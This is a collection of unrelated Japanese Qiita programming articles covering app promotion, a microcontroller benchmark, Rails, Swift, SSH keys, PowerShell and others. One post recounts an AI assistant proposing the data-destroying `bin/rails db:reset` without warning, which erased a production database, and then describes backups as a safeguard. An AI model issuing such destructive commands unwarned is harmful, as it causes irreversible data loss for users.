OmniAICreator/Qiita-1.07M huggingface dataset:
プログラミング初心者が作った家計簿アプリの登録者が一週間で3000人を超えるためにやったたった一つのこと。


以下の記事を公開した結果、アプリの登録者が一週間でなんと3,000人を超えました。

https://qiita.com/QuesterX/items/fa4da8a6124a0f553b01

https://kakeibo.questerx.com/

![スクリーンショット 2025-02-28 22.37.10.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780860/09fc76ea-8c4d-425c-994a-fd1bb34b0ade.jpeg)
![スクリーンショット 2025-02-28 22.37.23.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780860/85ea7554-b8d5-4a6b-93ab-61e4c485f449.jpeg)
![スクリーンショット 2025-02-28 22.37.42.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780860/bd03ae46-2bbe-45d3-bc67-e679bce93138.jpeg)
![スクリーンショット 2025-02-28 22.37.58.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780860/da60fd42-127e-48fa-9a42-bc1494414132.jpeg)
![スクリーンショット 2025-02-28 22.38.25.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780860/8f697603-ef7b-4af3-8a12-cfbd420b87dc.jpeg)

一般的な家計簿アプリにある機能はほぼ網羅しており、つい最近のアップデートで一つのアカウントで複数の家計簿を無制限に作成できるよう改良しました。もちろん全ての家計簿を合計したデータも見る事ができます。
その他、レイアウトの改修等々日々アップデートをしている最中です。

## 登録者を増やすためにやったたった一つのこと。
さて、本題ですが、個人開発の趣味による家計簿アプリなんて例えQiitaで公開しても爆発的に利用者が増えるものではありません。
ましてや登録制のアプリなど、仮にアクセスしてくれたとしてもトップページだけ見て終わる人が殆どだと思います。

では、どうしたら多くの人に使ってもらうことができるのか？

答えは簡単で、アプリの登録画面に以下のようなボタン（登録不要で使ってみる）を実装するのです。

![スクリーンショット 2025-02-28 22.45.01.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780860/c5b4b73c-8c87-4b6d-8816-d10c843de260.jpeg)

よくあるゲストログイン機能というやつですね。面倒な登録手順をスキップしてこのボタンを押すだけで一時的なユーザー作成が行われるという仕組みです。
しかし、ただこの機能を付けるだけではユーザー目線に立っていません。
大切なのはゲストユーザーで登録&ログインした時に、ある程度のデータを最初から登録しておくという事です。
こうすれば実際にデータの投稿を行うとどのような表示になるのか、どんな機能があるのかなどよりわかりやすくなります。
ちなみに、当アプリではゲストユーザーとしてログインすると、下記のページに飛びます。

![スクリーンショット 2025-02-28 22.50.25.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780860/c3bf3f6f-1b2b-43df-bad0-00972c66a63d.jpeg)

このくらいのデータを登録しておけば、実際に使用した時のイメージもしやすいはずです。
ちなみに、ゲストユーザーとしてログインされたアカウントデータはHerokuのアドオンである「Heroku Scheduler」を使って定期的に削除しています。

## 今後の課題
タイトルには「アプリの登録者が一週間で3000人を超えるため〜」と書きました。
もちろんこの言葉に嘘はないのですが、実はここでいう登録者はゲストログインによる登録者も含んでいます。
ユーザーとしてはQiitaで多少バズって面倒な入力無しにお試しができるからちょっと覗いてみようみたいな感覚ですね。
まずは実際にアプリを使ってもらう、体験してもらうことが大切ですからこのプロセスは間違っていません。
しかし、その中で本当に興味を持って実際に本アカウントを作成し、継続的に使用していくユーザーは極僅かです。当アプリにおいてもこれは例外ではありません。
とりあえず体験してもらって、どうやってその後に繋げるか。今後も使い続けたいアプリにしていくかというのは永遠の課題です。

とは言ってもアクティブユーザーの数は着実に増加しているのでこのまま「トライアンドエラー」を繰り返しながら、アプリ運用を続けていきます。

最後までお読み頂きありがとうございました。
もしも気になる方がいらっしゃいましたら、お気軽に遊びに来てください。
コメント、要望、ご意見等大歓迎です。

https://kakeibo.questerx.com/
STM32C011、フィボナッチ数列で遊ぶ(UNO3比10倍程度)(ベンチマークテスト)

目的

整数のベンチマークする

```c++

  //stm32c011 8pin only
  Serial.setTx(PA8);
  Serial.setHalfDuplex();
 

```

いろいろ

Arduino UNO R3は、約17542msで
STM32C011は、約1627msで約10倍、速い
理由は、不明

Arduino UNO 3 約17542ms(18秒)
M5NanoC6 約336ms(0.3秒)
M5StampS3 約328ms(0.3秒)
STM32H743 約72ms(0.072秒)

結果

![Screenshot from 2025-03-01 06-04-41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/7b1df9d4-ebec-4b6f-bda9-c5b8a751102f.png)


プログラム


```c++


//値が100,000を超えるまでのフィボナッチ数列を生成する作業を500,000回繰り返すのに要した時間を計測する。
#define DEBUG 0
void setup() {


  //stm32c011 8pin only
  Serial.setTx(PA8);
  Serial.setHalfDuplex();
 

  Serial.begin(9600);
  Serial.println();
  Serial.print("START");
  for(int i = 0;i < 9;i++){
    Serial.print('.');
    delay(500);
  }
  Serial.println();
}
void loop() {
  unsigned long x;
  unsigned long prevx;
  unsigned long temp;
  unsigned long start_time, end_time;
  unsigned long time;
  start_time = millis();
  for (unsigned long a = 0; a < 500000; a++) {
    x = 1;
    prevx = 0;
    while (x < 100000) {
      temp = x;
      x = prevx + x;
      prevx = temp;
#if DEBUG
      Serial.println(x);
#endif
    }
  }
  end_time = millis();
  time = end_time - start_time;
  Serial.print("END Value:");
  Serial.println(x); //最後の値の出力
  Serial.print("StartTime:");
  Serial.print(start_time);
  Serial.print(" EndTime:");
  Serial.print(end_time);
  Serial.print(" Time:");
  Serial.println(time);
  delay(1000);  //1秒待機
}






```
競プロ日記#25/02/28

# アルゴ式-[人気者の友達](https://algo-method.com/tasks/673)
- 無向グラフであることからA,B両方にpush_backするのを忘れない
```
int N , M;
cin >> N >> M;

Graph G(N);

for (int i = 0;i < M;i++){
    int A,B;
    cin >> A >> B;
    G.at(A).push_back(B);
    G.at(B).push_back(A);
}
```

- if文の中をmax < tempとすることで同率の場合は常に小さい方の生徒番号がansに保持されるようにする
ちなみにこの時ansを0で初期化し忘れると(2,0)で友達が誰もいないパターンの時の出力ができなくなる。（ここはM == 0で場合分けした方が更にてきせつなきがｓ）
```
int max = 0;
int temp = 0;
int ans = 0;
for (int i = 0;i < N;i++){
    temp = G.at(i).size(); 
    if (max < temp){
        max = temp;
        ans = i;
    }
}
```

- 答えとなる生徒の友達たちを番号順に並べることを忘れない
```
sort(G.at(ans).begin(),G.at(ans).end());
```
「bin/rails db:reset」を安易に実行しない！DBを操作する前はバックアップを必ず取得しようという戒め録

## はじめに
本番用と開発用のDBをろくに分けずに製作していた、自作アプリのデータベースを間違って`reset`してしまった（しかもバックアップも取っていなかった）ので、再発防止のための戒めと、環境ごとにデータベースを分ける＆データベースのバックアップを取得する方法の備忘録です。

### 使用環境
- Ruby 3.3.1
- Rails 7.1.3
- Fly.io（本番環境）
- Docker（開発環境）
- PostgreSQL（データベース）

## そもそも、なぜDBのデータ消えちゃったの？

https://qiita.com/mokio/items/0926212c24cf8e5a02e1

上記の方とほぼ同じでテスト用のDBを作成しようとしている中でエラーが発生し、AIに解決方法を訊いたら`bin/rails db:reset`のコマンドを提案されました。これを安易に実行してしまったのが原因。

警告もなく「これで成功します！」といつものノリで言われたまま、考えなしに実行したらデータベースのデータが全て消えてしまいました。

よく言われる「AIに提示されたコマンドを意味のわからないまま使ってはいけない」というのはこういうことが起こるからだよな……と今回は身を持って大反省。

**AIによく知らないコマンドを提示されたら、わからないまま入力せず必ず調べること。**

私の場合は幸いなことに、個人開発の時点で大失敗して反省できたのはラッキーでした。
万が一、会社やチーム開発でこういった自体が起こったときは、すぐに関係者と上司に報告しよう（怖いけど）。

ただ開発したアプリのデータベースが継続的な運用・保守に適していない状態で、特にデータを復元できなくなってしまったことは手痛かったので、今回の反省を踏まえてバックアップを取得できる環境を整えることにしました。

## 対策その1. 開発環境で入力したデータは開発用DBに登録する

現在、本番環境のデータベース（production）を開発時にも併用している状況なので、開発環境で入力したデータは開発用DB（development）に登録されるように、database.ymlで接続先を環境ごとに分離します。

```ruby
# database.yml
default: &default
  adapter: postgresql
  encoding: unicode
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  username: <%= ENV['DB_USERNAME'] %>
  password: <%= ENV['DB_PASSWORD'] %>
  host: <%= ENV['DB_HOST'] %>
  port: <%= ENV['DB_PORT'] %>
  sslmode: disable #fly.ioのデータベースはsslmodeでないと外部から接続できないため使用

development:
  <<: *default
  database: development環境のデータベース名

test:
  <<: *default
  database: test環境のデータベース名

production:
  <<: *default
  database: production環境のデータベース名
  # もとは「DATABASE_URL」を直接ここに入力していましたが、接続するDBをデータベース名で分離します
```

### 開発用とテスト用のDBを作成する

- DBを作成するためのコマンドを入力する

```sql
createdb -U ユーザー名 -h ホスト名 development環境のデータベース名
createdb -U ユーザー名 -h ホスト名 test環境のデータベース名
```

- DBをマイグレーションするためのコマンドを入力する（コンテナ内で）

```ruby
RAILS_ENV=development bin/rails db:migrate
RAILS_ENV=test bin/rails db:migrate
```

上記の通りに実行してからDockerを再起動すると、本番環境で入力した内容は本番用のDBに、開発環境での入力内容は開発用のDBに登録されるように分離されました。

ついでにRSpecテスト用のDBを作成できました（本来の目的）。

## 対策その2. DBの操作前は必ずバックアップを取得する
DBを操作するようなことがある場合、作業前に`dump`ファイルを取得しておくと安心。
ベテランの方ほど、こういった万が一の事故防止を徹底しているようです。見習います。

### pg_dump

PostgresSQLデータベースをバックアップするユーティリティ。
PostgresSQLのバックアップについては他にも方法がいくつかありますが、今回はこちらを使いました。

```sql
pg_dump -U ユーザー名 -h ホスト名 -d バックアップを取得するデータベース名 -f backup.sql
```
上記を入力後、求められるデータベースのパスワードを打ち込めば、`backup.sql`ファイルが生成されます。


`backup.sql`ファイルは再度コマンドを入力すると上書きされるので、別々に残したい場合は下記のようにタイムスタンプを付けると良さげです。
念のために、日次で取得しておくことも大切。

```sql
-f backup_$(date +"%Y%m%d%H%M%S").sql
```

DBファイルは機密情報の塊なので、`.gitignore`に記述してGitHubのリモートリポジトリに公開されないように設定しておきましょう。

```ruby
# .gitignore
backup.sql
```

バックアップファイルのデータをリストアしたい時は、下記のように入力します。

```sql
psql -U ユーザー名 -h ホスト名 -d リストア先のデータベース名 -f backup.sql
```

## あとがき
本番環境のデータを抹消した上に復元もできなくなってしまったという大失敗ですが、おかげで就職前にデータベース周りを再勉強できたこと、何よりも「AIの言うことを鵜呑みにする」典型的失敗パターンを経験できたのは良かったのかなと思います。

もっと酷ければプログラムが壊れてしまったりアプリ全体が動かなくなったりするようなので、AIが堂々と提示してくるコマンドは必ずどんなコマンドかよく調べて理解してから使おうね……という、とても今更な学びと戒めでした。

最後までご覧いただき、ありがとうございました！

## 参考リンク

https://www.postgresql.jp/docs/9.4/backup.html

https://techblog.spiderplus.co.jp/entry/2024/04/26/163000
IT エンジニアの交渉術 - 「気弱さん・口下手さんの交渉術」を読んだ

[心理カウンセラー弁護士が教える　気弱さん・口下手さんの交渉術 | 保坂 康介 |本 | 通販 | Amazon](https://www.amazon.co.jp/dp/4534060599) という本を読んだ。

## 最初に結論

交渉とは、まず人の話をよく聞くこと。人の求めているものを咀嚼すること。相手のことばをリピートして「～ということですね」。そして相手に「そうなんです」と言わせることを目指す。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/61c05d12-c953-473b-b09e-8c2c974365d1.png)


## 用語

BATNA を用意しておく。BATNA とは、交渉による合意に代わる最良の代替案。「交渉が失敗し合意に達しない場合に当事者が採ることのできる最も有利な代替行動方針 (Best Alternative to a Negotiated Agreement)」。

https://en.wikipedia.org/wiki/Best_alternative_to_a_negotiated_agreement

IT エンジニアの仕事で言うならばここまでは妥協できるという仕様や納期や品質や何らかの回避策的なことだろうか。

また ZOPA という概念。ZOPA とは、交渉が妥結する可能性のある条件範囲 (Zone of Possible Agreement)。交渉者はZOPAの範囲内でいかに交渉結果を相手の留保価値の近くに持っていくか、いかに自らの利得を最大化するかということを目指すべしとのこと。

https://en.wikipedia.org/wiki/Zone_of_possible_agreement


## ちょっとしたテクニック


まずは聴く。聞くではなく聴く。相手の話を深く理解する。畳みかけるように質問したり反論したりしてはいけない。

ただし安易に同意同感してはいけない。「そう感じております」「なので」「こうしたいと考えます」と伝えていく。これが同意ではなく共感ということ、とのこと。

- 相手の言葉を繰り返す。
- 相手の気持ちを汲む。
- 相手の話をまとめる。

同意する必要はないが、上のポーズを取りながら、とりあえず分析に徹する。そしてゆっくり話す。「ゆっくり話すことはメリットだらけ」だという。

- 意見の対立がある場合、最後に結論を持ってきたほうが良いこともある。
- 要求を伝えるときは I メッセージ (自分主語) とする。
- 嬉しい部分は自分の嬉しい感情を伝える。

交渉とは、まず人の話をよく聞くこと。人の求めているものを咀嚼することである。
相手のことばをリピートして「～ということですね」。そして相手に「そうなんです」と言わせることを目指す。

そうするとしめたもの。「お困りですよね」「分かりました」「ではこうできませんか」など、こちらの考えを伝えられるようになる。

もちろんここまで対話を進めるには、普段から落ち着くことが大事。

- 普段から心を整える。
- ゆっくり過ごす。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/f2352bc2-d921-41b2-822c-e11b5bc06d38.png)


## 参考

私自身は気弱さんというつもりはないが要らんこと言うてしまう意味では大分口下手さんという自覚が多分にある。交渉とは結局相手にある程度憑依することが必要だなと感じる。役者スキルとでもいおうか。

[心理カウンセラー弁護士が教える　気弱さん・口下手さんの交渉術 | 保坂 康介 |本 | 通販 | Amazon](https://www.amazon.co.jp/dp/4534060599) は、筆者の以下紹介が印象的。

> 心理学を学び、カウンセラー資格を取得。聴き方、伝え方、各種心理ワークを弁護士業務に活かすことで、ほぼすべての依頼者にとって満足度の高い交渉結果を生み出すに至っている。

IT の世界でも地雷は避けたい。心理ワーク、多少の心理的交渉術を普段の生活に活かしたいと感じたメモでした。
cscの作法 その567

# 概要
cscの作法、調べてみた。
練習問題やってみた。

# 練習問題
System.Resourcesを使え。

# サンプルコード

```

using System;
using System.Collections;
using System.Drawing;
using System.Resources;

public class Example {
	private static void CreateResXFile() {
		Bitmap logo = new Bitmap(@".\cat.bmp");
		ResXDataNode node;
		ResXResourceWriter rw = new ResXResourceWriter(@".\StoreResources.resx");
		node = new ResXDataNode("Logo", logo);
		node.Comment = "The corporate logo.";
		rw.AddResource(node); 
		rw.AddResource("AppTitle", "Store Locations");
		node = new ResXDataNode("nColumns", 5);
		node.Comment = "The number of columns in the Store Location table";
		rw.AddResource(node);
		rw.AddResource("City", "City");
		rw.AddResource("State", "State");
		rw.AddResource("Code", "Zip Code");
		rw.AddResource("Telephone", "Phone");
		rw.Generate();
		rw.Close();
	}
	public static void Main() {
		CreateResXFile();
		ResXResourceSet resSet = new ResXResourceSet(@".\StoreResources.resx");
		IDictionaryEnumerator dict = resSet.GetEnumerator();
		while (dict.MoveNext())
		{
			string key = (string) dict.Key;
			if (dict.Value is string)
				Console.WriteLine("{0}: {1}", key, resSet.GetString(key));
			else
				Console.WriteLine("{0}: {1}", key, resSet.GetObject(key));
		}
	}
}




```

# 実行結果

```
>res0
Telephone: Phone
Code: Zip Code
State: State
City: City
nColumns: 5
AppTitle: Store Locations
Logo: System.Drawing.Bitmap
```

以上。
ReactとNext.jsのMetaタグ設定方法

# はじめに
ReactからNext.jsに移行した際、metaタグの設定方法の違いについてまとめました

- URLごとにタイトルを制御したい場面を想定
- OGPなどは想定していない

# 環境
React: 19.0.0
Next.js: 15.2.0

# 方法
## Reactの場合
[react-helmet](https://github.com/nfl/react-helmet)や[react-helmet-async](https://github.com/staylor/react-helmet-async)を使用する方法もありますがページタイトルの制御だけであれば<title>タグを指定するのみで良さそうでした。

https://ja.react.dev/reference/react-dom/components/title

## Next.jsの場合
### Pages Router
```TSX
import Head from 'next/head';

const Home = () => (
  <div>
    <Head>
      <title>Home Page</title>
      <meta name="description" content="This is the home page" />
    </Head>
    <h1>Home Page</h1>
  </div>
);

export default Home;
```

### App Router
https://nextjs.org/docs/app/building-your-application/optimizing/metadata
```TSX
import type { Metadata } from 'next'
 
export const metadata: Metadata = {
  title: 'Home Page',
  description: 'This is the home page',
}
 
export default function Page() {
  return <h1>Home Page</h1>
}
```
Swift: なぜ遅延保存プロパティはvarでのみ宣言可能なのか？


Swiftを学習する中で、**遅延保存プロパティ（lazy stored property）はvarでのみ宣言できる**一方で、**タイプ保存プロパティ（type stored property）はletとvarの両方で宣言可能**であることに気付きました。この違いについて、具体的なコード例を交えて考察してみます。

---

## 1. コード例

以下の`Animation`クラスを見てみましょう。

```swift
class Animation {
    static let genere = "animation" // タイプ保存プロパティ
    let name: String
    var rate: Double
    lazy var series: Int = 0 // 遅延保存プロパティ
    
    init(name: String, rate: Double) {
        self.name = name
        self.rate = rate
    }
}
```

このクラスには以下のプロパティが含まれています。
- `genere`: **タイプ保存プロパティ（static let）**
- `series`: **遅延保存プロパティ（lazy var）**

次の3つの手順でプロパティの挙動を確認してみましょう。

1. `ani`というインスタンスを生成 → 確認
2. `series`（遅延保存プロパティ）にアクセス → 確認
3. `genere`（タイプ保存プロパティ）にアクセス → 確認

### [1]インスタンスの生成

```swift
let ani = Animation(name: "ani", rate: 3.0) // インスタンス生成
ani
```

![스크린샷 2025-03-01 오전 3.00.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3928026/b7f0d0ac-dfc2-46b8-b938-f4dbb04b90a1.png)

インスタンスを生成すると、遅延保存プロパティ`series`はまだ初期化されていません。デバッグ情報を確認すると、`$__lazy_storage_$_series` という内部変数が `nil` になっていることが分かります。

### [2] 遅延保存プロパティにアクセス

```swift
ani.series // 遅延保存プロパティにアクセス
ani
```

![스크린샷 2025-03-01 오전 3.01.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3928026/8068c1a9-5729-4c2b-a579-e36f8ff67b13.png)


このタイミングで初めて `series` に値が設定されます。アクセスする前までは `nil` だったのが、値 `0` に変更されていることが確認できます。

### [3] タイプ保存プロパティにアクセス

```swift
Animation.genere // タイプ保存プロパティにアクセス
ani
```
![스크린샷 2025-03-01 오전 3.02.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3928026/548bd37d-6c08-4320-b4cc-967d9e5f8e52.png)

タイプ保存プロパティ`genere`にアクセスしても、インスタンス`ani`の状態には何の変化もありません。これは、**タイプ保存プロパティがインスタンスに属するものではなく、クラス（型）そのものに属するプロパティだから**です。

---

## 2. 結論

### 遅延保存プロパティ（lazy stored property）

- **アクセスするまで初期化されない**
- 初期化される前は、`nil`の状態（内部的にはOptional型として扱われる）
- `let`はインスタンス生成時に値を必ずセットする必要があるため、`lazy`とは相性が悪い
- そのため、**`lazy`は`var`としか併用できない**

つまり、**遅延保存プロパティは「値の設定の遅延」が目的であり、`var`のみ許容される**ということになります。


### タイプ保存プロパティ（type stored property）

- **最初にアクセスされるまでメモリのデータ領域にロードされない**（＝lazyな動作）
- `let`と`var`の両方が可能（値の変更可否に依存する）
- **メモリのデータ領域を効率よく使用するために、アクセスされたときに初めてロードされる**

つまり、**タイプ保存プロパティは「メモリ効率の向上」が目的であり、lazyな動作をするが、値の変更可否（let/var）とは独立している**ということになります。

---

## 3. まとめ

| プロパティの種類 | let使用 | var使用 | 初期化のタイミング |
|---|---|---|---|
| **インスタンス保存プロパティ** | ○ | ○ | インスタンス生成時 |
| **遅延保存プロパティ（lazy）** | ❌ | ○ | 最初にアクセスされたとき |
| **タイプ保存プロパティ（static）** | ○ | ○ | 最初にアクセスされたとき |

- **遅延保存プロパティ**は、インスタンスのプロパティとして初期化の遅延が目的 → `let`と相性が悪いため `var`のみ
- **タイプ保存プロパティ**は、メモリの効率化が目的 → `let`/`var`どちらも可能

このように、**遅延保存プロパティのlazyと、タイプ保存プロパティのlazyな挙動は、それぞれ目的が異なる**ため、`let`の使用可否にも違いが生じるということが分かりました。

---

⚠️ 注意:
この文書の内容には誤りが含まれている可能性があります。
もし間違いや改善点がありましたら、ご指摘いただけると幸いです。
個人開発でたった一人でデスクトップAIアシスタントを作った話

はじめに

皆さんは、デスクトップ上で自由に会話ができて、作業をサポートしてくれるAIが欲しいと思ったことはありませんか？

私は、そんなAIアシスタントを**"フォルドラ"** という名前で開発しました。たった一人で試行錯誤しながら作り上げたこのAIは、現在ベータ版をリリースしており、今後さらに進化していきます。

今回は、フォルドラがどんなAIなのか、どうやって作ったのか、開発で苦労した点と今後の展望 を紹介します。

フォルドラとは？

フォルドラは、PC上で動作するデスクトップAIアシスタント です。

【フォルドラの特徴】

会話型AI：デスクトップ上で自然な会話が可能

タスク管理：作業の進捗を管理・リマインド

カスタマイズ性：ユーザーごとに機能を調整できる

軽量設計：PCへの負担を最小限にし、快適に動作

現在、フォルドラはベータ版 としてリリース中で、今後さらに機能を追加していく予定です。

どうやって作ったのか？

フォルドラは、Pythonをベースに開発 しました。デスクトップアプリとして動作し、ユーザーの入力に応じて最適な返答を行います。

【使用技術】

言語：Python

GUI：PyQt

AI処理：自然言語処理（NLP）

データ管理：SQLite / JSON

音声認識（今後実装予定）

開発のポイントは、「デスクトップ上で軽量に動作すること」 です。

開発で苦労したこと & どう解決したか

1. 自然な会話の実装

フォルドラは、ユーザーとスムーズに会話できることが前提です。しかし、一般的なAIチャットボットのように「定型文を返すだけ」では、使っていて楽しくありません。

解決策：カスタム辞書＋コンテキスト認識

ユーザーの過去の入力を記憶し、関連する返答をする

カスタム辞書を組み込み、フォルドラ独自の言葉遣いを持たせる

2. デスクトップ統合の難しさ

フォルドラは、単なるチャットボットではなく、デスクトップ上で動作するAIです。そのため、GUIの作成やユーザーの入力を自然に処理する仕組みが必要でした。

解決策：PyQtを活用してGUIを構築

ウィンドウデザインをシンプルにし、ユーザーがストレスなく操作できるようにした

AIとの対話をリアルタイムで更新できる仕組みを導入

今後の展望（フォルドラはこれからどう進化する？）

現在、フォルドラはまだ ベータ版 ですが、今後以下の機能を追加予定です。

【今後のアップデート予定】

音声認識・音声会話機能の実装
クリエイター向けの作業補助機能（スケジュール管理・メモ機能）
ユーザーごとのカスタマイズ性を強化
デスクトップ操作支援（アプリ起動・ファイル管理サポート）
リアルタイム監視機能
音声会話機能
画像生成、検索機能

フォルドラは、ただの会話AIではなく、「ユーザーの右腕」 になれるようなAIを目指しています。


現在、フォルドラはベータ版を公開中 です。そして、正式版開発に向けたクラウドファンディングを実施中！

☆フォルドラのベータ版はこちら：https://forte-corp.booth.pm/items/6635353
☆クラウドファンディング：https://camp-fire.jp/projects/834078/view?utm_campaign=cp_po_share_c_msg_mypage_projects_show

フォルドラを試してみたい方、今後の開発に興味をもって支援していただける方
お待ちしてます。よろしくお願いします！！

個人開発だからこそ、ユーザーの意見を反映しながら、どんどん進化していきます。

フォルドラの成長を、一緒に見守ってくれませんか？

最後に

フォルドラの開発を通して、個人でもAIを作れる時代になった と実感しています。

もし、この記事を読んで**「自分もデスクトップAIを作ってみたい！」** と思った方がいれば、ぜひ挑戦してみてください！

また、フォルドラについて何か質問や意見があれば、ぜひコメントで教えてください！

「AI開発に興味がある方」「フォルドラを試してみたい方」大歓迎です！
Webアプリケーションで使われている仕様技術を簡単に調べる方法

このWebサイトで使われている技術を知りたいと思ったときにすぐに調べる方法があったので共有します. 使用技術を調べる事で開発するときの参考にできたり, 技術の勉強にもなるので良いですよね.


今回使用するのはChromeの拡張機能で

[Wappalyzer](https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?hl=ja&pli=1)

というものです. 上記URLからインストールして, 固定しておきましょう.

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959206/f4074650-72db-4fea-bb42-6e466e58e345.png)

調べたいときはそのサイトを開いた状態で紫色のWappalyzerのボタンを押すだけ.

試しにQiitaのホーム画面で使用してみると以下のようになりました.

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959206/7aee5d76-c3cd-4459-8e45-39d88728f327.png)

フロントやデータベース, アナリティクスごとに技術が表示されます. 便利なのでぜひ使用してみてください.
SSH秘密鍵をUbuntu→Windowsと移動させるときの注意点

結論から言うと、**Linux環境側で生成したSSH秘密鍵をWindows環境に持ってくるときの注意点**をまとめた記事です。

[公式ドキュメント](https://code.visualstudio.com/docs/remote/ssh)
[Visual Studio Code で Remote SSH する。](https://qiita.com/nlog2n2/items/1d1358f6913249f3e186)

具体的には筆者が上記2つの記事をもとに拡張機能 "Remote SSH" を使用してリモート環境でVScodeを開こうとしたときにつまずいたポイントをまとめています。


**環境**
- WSL2でUbuntu環境構築
- Windows（ホストOS）にVScodeをインストール
- Ubuntu上でWindows側にあるVScodeを使用（VScodeのWSL2の拡張機能で）

Ubuntu側にVScodeはないので、Windows側でリモートとのSSH認証ができる状態を作る必要がありました。

そこで選択肢として以下の2つがあります。
1. Windows側で新たにカギを生成、リモートに公開鍵を登録する
1. Ubuntu側で既に使用している秘密鍵をWindows（ホストOS）側に持ってくる

なるべくいじるのはローカルだけにとどめときたかったので2.を実行することになり、以下の問題点につまずきました。


## 改行コードの違い
|   OS    |  改行コード    |  表記    | 
| ------- | ---- | ---- | 
| Linux   | LF   | \n   | 
| MacOS   | LF   | \n   | 
| Windows | CRLF | \r\n | 

Windowsだけ改行コードが違うので、このせいで秘密鍵が認識されないことがあります。

## 秘密鍵末尾の改行
秘密鍵の末尾には必ず改行がいります。手動でコピペをした時にこれが抜けて正常なカギと認識されなくなりました。

## 鍵をPEM形式に
Windows版OpenSSHでは、一部の新しいOpenSSH形式の鍵が認識されない場合があります。この場合、powershellでPEM形式に変換してみてください。
```powershell
ssh-keygen -p -m PEM -f \path\to\your\ssh_key
```
## パーミッションの設定の確認
WindowsではデフォルトのファイルパーミッションがLinuxやmacOSに比べて緩い場合があり、Windows版OpenSSHクライアントは、セキュリティ上の理由から秘密鍵ファイルのパーミッションが適切でない場合にエラーを出すみたいです。対象の秘密鍵が自分自身だけにフルコントロール権限（600相当）の状態であれば大丈夫です。

##### 終わりに
基本的にVScodeをインストールした側のOSで正しくSSH認証が行える状態であれば問題なくRemote SSHを使用できます！\
詰まったらそこを中心に問題を考えるといいかも
PowerShellでCSVを取り込んでLeft Joinしたい

絶対昔書いてると思ったけど見つからなかった

```powershell:Join-Table.ps1
function Join-Record {
    param($record1, $record2)
    $o = New-Object psobject

    $record1 | gm -MemberType NoteProperty | % {
        $name = $_.name
        $o | Add-Member NoteProperty -Name "$name" -Value $record1.$name
    }

    $record2 | gm -MemberType NoteProperty | % {
        $name = $_.name
        if ($o.psobject.properties.Name -contains $name) {
            $o | Add-Member NoteProperty -Name "Right.$name" -Value $record2.$name
        } else {
            $o | Add-Member NoteProperty -Name "$name" -Value $record2.$name
        }
    }
    return $o
}

function Join-Table {
    param(
        $From,
        $LeftJoin,
        $On,
        $Equal
    )

    $From | % {
        $FromRecord = $_
        $i = 0
        $LeftJoin | % {
            $LeftJoinRecord = $_
            if ($FromRecord.$On -eq $LeftJoinRecord.$Equal){
                Join-Record $FromRecord $LeftJoinRecord
                $i += 1
            }
        }
        if ($i -eq 0) {
            $PseudoLeftJoinRecord = New-Object psobject
            $LeftJoin | select-object -first 1 | % { $_.psobject.properties } | % {
                $PseudoLeftJoinRecord | Add-Member NoteProperty -Name $_.Name -Value ""
            }
            Join-Record $FromRecord $PseudoLeftJoinRecord
        }
    }
}

```


```powershell:sample.ps1
. Join-Table.ps1

$a = 1..10 | % {
    [pscustomobject]@{
        Id = $_
        A = "A"
    }
}

$b = 1,2,3,4 | % {
    [pscustomobject]@{
        Id = $_
        B = "B"
    }
}

Join-Table -From $a -LeftJoin $b -On Id -Equal Id | ft -auto
```

```console
A Id B Right.Id
- -- - --------
A  1 B        1
A  2 B        2
A  3 B        3
A  4 B        4
A  5           
A  6           
A  7           
A  8           
A  9           
A 10           
```

レコード数増えたら遅くなりそう。Excel に入れたい。
python-code-splitterでPythonコードを分割する

# TL;DR

Pythonコードをクラス・関数ごとに分割し、自動でGitコミットするツールを作りました。

## 背景
開発現場では、1つのPythonファイルに数千行のコードが詰め込まれ、複数のクラスや関数が混在していることがよくあります。  
このような巨大なファイルでは、目的のクラス定義を探すのが大変です。

## 課題
クラスごとにファイルを分割すれば可読性は向上しますが、既存の長大なコードを手作業で整理するのは非常に手間がかかります。  
さらに、コードを分割した後も、コードレビューをしやすくする必要があります。  
また、クラスを移動した場合、外部からの参照が壊れないようにする対応も求められます。

## ツールの紹介
そこで開発したのが **python-code-splitter** です。

📦 [PyPI: python-code-splitter](https://pypi.org/project/python-code-splitter/)

### インストール
```sh
pip install python-code-splitter
```

### 使い方
分割したいPythonファイルを指定するだけです。
```sh
python-code-splitter path/to/file.py
```
実行すると、`path/to/file/` ディレクトリが作成され、各クラスは個別のファイルに分割されます。
例えば、`SampleClass` というクラスが含まれていた場合、`file`ディレクトリ下に`sample_class.py`というファイルが作成され、そこにクラスの定義が移動します。

**実行前**
```
└── path
    └── to
        └── file.py
```

**実行後**
```
└── path
    └── to
        └── file
            ├── __init__.py
            └── sample_class.py
```

また、移動後も元のコードが正しく動作するよう、  
`__init__.py` に `SampleClass` の `import` が自動で追加されます。

### Gitとの連携
`--git` オプションを付けると、分割ごとにGitコミットを自動作成し、  
ファイルパスに応じて適切なブランチも作成されます。
```sh
python-code-splitter path/to/file.py --git
```

### 特定のターゲットのみ移動
`--targets` オプションを使用すると、クラス定義のみを分割できます。
```sh
python-code-splitter path/to/file.py --targets class
```

## まとめ
**python-code-splitter** を使えば、  
大規模なPythonコードを効率的に分割し、Gitのコミット履歴もレビューしやすい単位にできます。  
ぜひ試してみてください！
Try Hack me　Blue write up　後編　春休み一人アドカレ四日目

## はじめに
注意：この記事は前後編にの後編です。まず前編を読んでからこちらの記事を読んでください。
